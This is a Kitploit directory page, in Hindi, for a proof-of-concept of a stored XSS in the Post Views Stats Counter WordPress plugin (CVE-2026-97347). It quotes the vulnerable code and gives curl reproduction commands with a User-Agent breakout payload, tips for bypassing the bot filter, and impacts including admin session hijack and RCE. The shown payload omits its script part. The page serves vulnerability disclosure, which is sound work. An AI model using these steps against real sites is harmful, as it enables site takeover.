Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-97347 — CVE-2026-97347 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Post Views Stats Counter WordPress प्लगइन में User-Agent हेडर के माध्यम से एक अनधिप्रमाणित स्टोर्ड XSS है, पुनरुत्पादन चरणों के साथ। | Kitploit
उपकरण/GitHubGitHub/jailbr3ak/cve-2026-97347
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षा
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

CVE-2026-97347 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Post Views Stats Counter WordPress प्लगइन में User-Agent हेडर के माध्यम से एक अनधिप्रमाणित स्टोर्ड XSS है, पुनरुत्पादन चरणों के साथ।

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-97347 — Post Views Stats Counter में संग्रहीत XSS (WordPress प्लगइन)

प्लगइनPost Views Stats Counter
प्रभावित संस्करण≤ 1.1.7
बग वर्गअनधिकृत संग्रहीत XSS
प्रवेश बिंदुUser-Agent HTTP हेडर
सिंकएडमिन स्टैट्स पेज (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 उच्च
स्थितिप्रकटीकरण के समय अनपैच्ड, अब तक कोई ज्ञात पैच्ड संस्करण नहीं
शोधकर्ताNawaf Althurwi

बग

प्लगइन हर पेज व्यू को रिकॉर्ड करता है, जिसमें विज़िटर का User-Agent हेडर भी शामिल है, एक कस्टम टेबल (wp_pvs_counter) में। यहाँ यह हेडर को ग्रहण करता है — पूरे पथ में कहीं भी कोई सैनिटाइज़ेशन नहीं:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

प्रवेश के रास्ते पर एकमात्र रक्षा एक बॉट फ़िल्टर है, और वह केवल एक सबस्ट्रिंग ब्लैकलिस्ट है:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

डिफ़ॉल्ट सूची bot, spider, crawler है। जिसमें भी ये सबस्ट्रिंग नहीं होती, वह संग्रहीत हो जाता है। बस यही पूरा फ़िल्टर है।

आउटपुट पक्ष पर, एडमिन पेज "पंजीकृत यूज़र एजेंट" का एक ड्रॉपडाउन बनाता है और संग्रहीत मान को <option> टैग के अंदर कच्चे रूप में प्रिंट करता है — esc_attr() value एट्रिब्यूट की सुरक्षा करता है लेकिन दृश्यमान लेबल एक सादा echo है:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

इसलिए User-Agent हेडर में HTML के साथ एक अनप्रमाणित अनुरोध अगली बार जब व्यवस्थापक प्लगइन का स्टैट्स पेज खोलते हैं तो उनके ब्राउज़र में निष्पादित हो जाता है। क्लासिक स्टोर्ड XSS, कोई प्रमाणीकरण नहीं, पीड़ित की ओर से अपने ही डैशबोर्ड को देखने के अलावा कोई इंटरैक्शन नहीं।

एक और बाधा जानने योग्य है: useragent कॉलम varchar(155) है, इसलिए पेलोड 155 अक्षरों से कम रहना चाहिए।

पुनरुत्पादन

कोई भी लॉग किया गया URL काम करता है — फ्रंट पेज /?p=1 ठीक है। TARGET को WordPress होस्ट से और YOUR_PAYLOAD को उस चीज़ से बदलें जो आप व्यवस्थापक के सत्र में चलाना चाहते हैं:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

पेलोड आकार पर टिप्पणियाँ:

  • </option></select> मान को ड्रॉपडाउन मार्कअप से बाहर निकाल देता है — यह सजावट नहीं है, इसके बिना इंजेक्शन <option> टैग के अंदर ही फँसा रहता है।
  • स्ट्रिंग को bot/spider/crawler (केस-असंवेदनशील) से मुक्त रखें, अन्यथा अनुरोध डेटाबेस तक पहुँचने से पहले ही बॉट के रूप में फ़िल्टर हो जाता है।
  • इसे कुल 155 अक्षरों से कम रखें।
  • यदि आप alert() के अंदर स्पेस चाहते हैं, तो इसके बजाय &#32; का उपयोग करें — कुछ HTTP क्लाइंट हेडर मानों में स्पेस को विकृत कर देते हैं।

मैंने अपनी लैब पर जो वन-लाइनर इस्तेमाल किया:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

चरण 1 — पेलोड संग्रहीत करें

User-Agent हेडर के माध्यम से पेलोड भेजना

बस एक साधारण curl। HTTP 200 का अर्थ है कि व्यू की गणना हो गई और हेडर डेटाबेस में चला गया।

चरण 2 — इसे ट्रिगर करें

एडमिन के रूप में Settings → Post Views Stats Counter खोलें (या यदि पहले से खुला है तो बस रीफ़्रेश करें)। पेलोड स्टैट्स विजेट सूची के भाग के रूप में रेंडर होता है और onerror सक्रिय हो जाता है:

एडमिन स्टैट्स पेज पर पेलोड निष्पादित होता हुआ

प्रभाव

  • एडमिनिस्ट्रेटर की कुकी चोरी / सत्र अपहरण (S:C स्कोप परिवर्तन — XSS wp-admin पर चलता है, इसलिए यह एडमिन की कुकीज़ के साथ admin-ajax और plugin-install एंडपॉइंट्स को कॉल कर सकता है)
  • प्लगइन इंस्टॉलेशन और सक्रियण → सर्वर पर RCE
  • स्थायी पेलोड: स्टैट्स पेज पर प्रत्येक विज़िट पर एडमिन के लिए सक्रिय होता है जब तक कि पंक्ति हटाई न जाए

एक्सप्लॉइट वीडियो

डेमो

यदि आप स्क्रब/पॉज़ करना चाहते हैं तो उच्च गुणवत्ता: exploit-vid.mp4

संदर्भ

  • CVE रिकॉर्ड — CVE-2026-97347

  • Wordfence थ्रेट इंटेलिजेंस रिकॉर्ड — CVE-2026-97347


एक स्थानीय Docker लैब में WordPress 6.x पर संस्करण 1.1.7 के विरुद्ध परीक्षण किया गया। अनऑथेंटिकेटेड, स्टैट्स पेज खोलने के अलावा कोई उपयोगकर्ता इंटरैक्शन नहीं।

टूल डाउनलोड करें